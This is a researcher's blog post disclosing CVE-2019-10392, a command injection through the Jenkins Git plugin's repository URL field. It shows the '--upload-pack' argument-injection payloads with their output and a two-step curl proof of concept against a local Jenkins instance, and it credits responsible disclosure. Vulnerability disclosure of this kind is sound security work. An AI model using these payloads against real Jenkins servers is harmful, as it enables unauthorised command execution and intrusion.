iwantmore.pizza

phra's blog ~ Technical posts about InfoSec

Sep 12, 2019

CVE-2019-10392 — Yet Another 2k19 Authenticated Remote Command Execution in Jenkins

Two weeks ago I saw on GitHub a nice repository about pentesting Jenkins. I downloaded the latest alpine LTS build from Docker Hub and I started to play with it, ending up finding an authenticated Remote Command Execution by having an user with the Job\Configure (USE_ITEM) privilege. 🐱‍👤

Discovery

I launched a Jenkins instance locally with Docker using the following command:

docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:lts-alpine

In my case, the software versions are:

  1. Jenkins 2.176.3
  2. Git Client Plugin 2.8.2
  3. Git Plugin 3.12.0

I proceed through the initial configuration and created a non administrative user.

matrix

After logging in as user test, we create a new job definition via the web user interface. If we select in the SCM section Git as our source, we are asked to insert a Git URL.

Let’s fuzz it! 🤖

If we try common command injection payloads, we noticed that we can’t execute arbitary commands, but if we input the string -v as URL, we will receive the following output:

Failed to connect to repository : Command "git ls-remote -h -v HEAD" returned status code 129:
stdout:
stderr: error: unknown switch `v'
usage: git ls-remote [--heads] [--tags] [--refs] [--upload-pack=<exec>]
                     [-q | --quiet] [--exit-code] [--get-url]
                     [--symref] [<repository> [<refs>...]]

    -q, --quiet           do not print remote URL
    --upload-pack <exec>  path of git-upload-pack on the remote host
    -t, --tags            limit to tags
    -h, --heads           limit to heads
    --refs                do not show peeled tags
    --get-url             take url.<base>.insteadOf into account
    --sort <key>          field name to sort on
    --exit-code           exit with exit code 2 if no matching refs are found
    --symref              show underlying ref in addition to the object pointed by it
    -o, --server-option <server-specific>
                          option to transmit

usage

We have just discovered that command line switches are interpreted correctly by Git, thanks to the error: unknown switch `v' message.

Can we do more than printing the Git usage? Let’s find it out! 🕵️

Exploitation

I looked at man git-ls-remote in order to see the available command options and I noticed the --upload-pack=<exec> flag. By trying --upload-pack=id, I got:

Failed to connect to repository : Command "git ls-remote -h --upload-pack=id HEAD" returned status code 128:
stdout:
stderr: id: ‘HEAD’: no such user
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

The command id HEAD was executed on the system! 🤹‍

We can control the full command being executed using the following payload: --upload-pack="`id`"

Failed to connect to repository : Command "git ls-remote -h --upload-pack="`id`" HEAD" returned status code 128:
stdout:
stderr: "`id`" 'HEAD': line 1: uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins): not found
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

exploit

We successfully executed the id command in the context of the jenkins user! 💥

Proof of Concept

First we need to retrieve the CSRF Token and then issue the request:

  1. get crumb
curl 'http://localhost:8080/securityRealm/user/test/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,":",//crumb)' -H 'Connection: keep-alive' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36' -H 'DNT: 1' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: http://localhost:8080/' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9,it;q=0.8' -H 'Cookie: <COOKIES>' --compressed
  1. send request
curl 'http://localhost:8080/job/test/descriptorByName/hudson.plugins.git.UserRemoteConfig/checkUrl' -d "value=--upload-pack=`touch /tmp/iwantmore.pizza`" -H 'Cookie: <COOKIES>' -H 'Origin: http://localhost:8080' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9,it;q=0.8' -H 'X-Prototype-Version: 1.7' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Jenkins-Crumb: <CRUMB>' -H 'Pragma: no-cache' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36' -H 'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H 'Cache-Control: no-cache' -H 'Referer: http://localhost:8080/job/test/configure' -H 'DNT: 1' --compressed

poc

Reporting

I reported the issue to the Jenkins JIRA and in less than one week the vulnerability was confirmed to be fixed in the staging environment.

Props to the Jenkins team for how they managed the responsible disclosure process, in particular to Daniel Beck and Mark Waite. 👏

Timeline

back